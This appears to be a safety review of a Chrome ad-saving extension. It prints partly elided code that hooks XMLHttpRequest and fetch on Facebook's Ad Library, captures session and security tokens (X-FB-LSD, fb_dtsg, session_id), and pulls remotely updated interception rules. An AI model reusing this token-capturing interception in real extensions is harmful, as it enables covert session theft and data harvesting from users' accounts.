Is Denote: Save Ads TK & FB Ad Library safe?

// Save original methods before overwritingconst originalOpen = XMLHttpRequest.prototype.open;const originalSetRequestHeader = XMLHttpRequest.prototype.setRequestHeader;const originalSend = XMLHttpRequest.prototype.send;// Track method and URL per-requestXMLHttpRequest.prototype.open = function(method, url, ...args) {  this._method = method;  this._url = url;  this._headers = {};  originalOpen.apply(this, [method, url, ...args]);};// Record each header as it is setXMLHttpRequest.prototype.setRequestHeader = function(header, value) {  this._headers[header] = value;  originalSetRequestHeader.apply(this, [header, value]);};// On send, attach a load listener that reads headers + responseXMLHttpRequest.prototype.send = function(data) {  this._data = data;  this.addEventListener('load', function() {    // Only process requests from the Facebook ad library page    if (!location.href.includes('facebook.com/ads/library')) return;    const isTargetedRequest =      this._url === '/api/graphql' || this._url === '/api/graphql/' ||      this._url.startsWith('/ajax/bz') || this._url.includes('graphql');    if (!isTargetedRequest) return;    // Capture Facebook security tokens from request headers    if (this._headers['X-FB-LSD'])      window.__denote_captured_data.X_FB_LSD = this._headers['X-FB-LSD'];    if (this._headers['X-ASBD-ID'])      window.__denote_captured_data.X_ASBD_ID = this._headers['X-ASBD-ID'];    // ... parse request body for fb_dtsg, __user, session_id, doc_id ...    // ... parse response for search_results_connection ad objects ...    // ... dispatch via CustomEvent + postMessage ...  });  originalSend.apply(this, [data]);};

// Save original fetch before replacingconst originalFetch = window.fetch;window.fetch = async function(input, init) {  const requestUrl = (typeof input === 'string') ? input : (input.url || input);  const isAdLibraryPage = location.href.includes('facebook.com/ads/library');  // widened in v1.0.27.9  const isApiRequest =    requestUrl === '/api/graphql' || requestUrl === '/api/graphql/' ||    requestUrl.startsWith('/ajax/bz') || requestUrl.includes('/ajax/bootloader') ||    requestUrl.includes('/api/') || requestUrl.includes('graphql');  // Always perform the real fetch first (transparent to the page)  const response = await originalFetch.apply(this, arguments);  if (!isAdLibraryPage || !isApiRequest) return response;  try {    const clonedResponse = response.clone();    const text = await clonedResponse.text();    // Strip Facebook's for(;;); anti-hijacking prefix    let cleanText = text.startsWith('for (;;);') ? text.substring(9) : text;    // Try line-by-line JSON parse (Facebook sometimes sends multiple JSON objects)    let responseData = null;    for (const line of cleanText.split('\n').filter(l => l.trim())) {      const lineText = line.startsWith('for (;;);') ? line.substring(9) : line;      try {        const parsed = JSON.parse(lineText);        if (containsAdData(parsed)) { responseData = parsed; break; }      } catch (e) {}    }    if (!responseData) responseData = JSON.parse(cleanText);    // Extract, normalise, deduplicate, and forward ad objects    let ads = extractAdsFromResponse(responseData);    if (ads?.length > 0) {      ads = ads.map(normalizeAdData).map(addShopifyFields);      const newAds = deduplicateAds(ads, window.__denote_captured_data.ads);      if (newAds.length > 0) {        window.__denote_captured_data.ads.push(...newAds);        markDataCollected('fetch');  // sets stopCollection = true        dispatchDataEvent();         // CustomEvent + postMessage to content script      }    }  } catch (err) {    console.error('Fetch interception error:', err);  }  return response;  // original response returned unmodified to page};

function Be() {  const headers = new Headers();  headers.append('Content-Type', 'application/json');  const body = JSON.stringify({ extension_id: 102 });  fetch('https://denote.net/api/v1/user/api-chrome-extension/get-remote-config', {    method: 'POST',    headers,    body  })  .then(res => res.json())  .then(data => {    chrome.storage.local.get(['latest_user', 'multiple_version']).then(stored => {      const update = {        EXT_RULES: data.data.config[0].params,   // interception rules        configLastUpdate: Date.now()      };      chrome.storage.local.set(update);    });  });}